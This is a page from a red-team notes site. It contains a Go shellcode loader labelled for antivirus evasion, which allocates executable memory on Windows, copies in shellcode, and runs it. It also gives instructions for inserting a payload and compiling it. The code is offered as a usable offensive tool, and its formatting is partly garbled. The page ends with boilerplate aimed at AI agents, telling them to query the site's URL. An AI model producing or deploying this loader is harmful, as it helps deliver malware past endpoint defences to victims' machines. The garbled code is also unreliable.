# malware\_av\_evasion--main.go

MAIN.GO package main

import ( "io/ioutil" "os" "syscall" "unsafe" )

const ( MEM\_COMMIT = 0x1000 MEM\_RESERVE = 0x2000 PAGE\_EXECUTE\_READWRITE = 0x40 )

var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") shellcode\_calc = \[]byte{ //insert shellcode here in the form of 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, etc then compile with GOOS=windows GOARCH=amd64 go build or GOOS=windows GOARCH=386 go build

} )

func checkErr(err error) { if err != nil { if err.Error() != "The operation completed successfully." { println(err.Error()) os.Exit(1) } } }

func main() { shellcode := shellcode\_calc if len(os.Args) > 1 { shellcodeFileData, err := ioutil.ReadFile(os.Args\[1]) checkErr(err) shellcode = shellcodeFileData }

addr, *, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM\_COMMIT|MEM\_RESERVE, PAGE\_EXECUTE\_READWRITE) if addr == 0 { checkErr(err) }* , \_, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(\&shellcode\[0])), uintptr(len(shellcode))) checkErr(err) syscall.Syscall(addr, 0, 0, 0, 0) }


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xdecaf2bad.gitbook.io/red-team-notes/39-cobalt-strike/malware_av_evasion--main.go.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
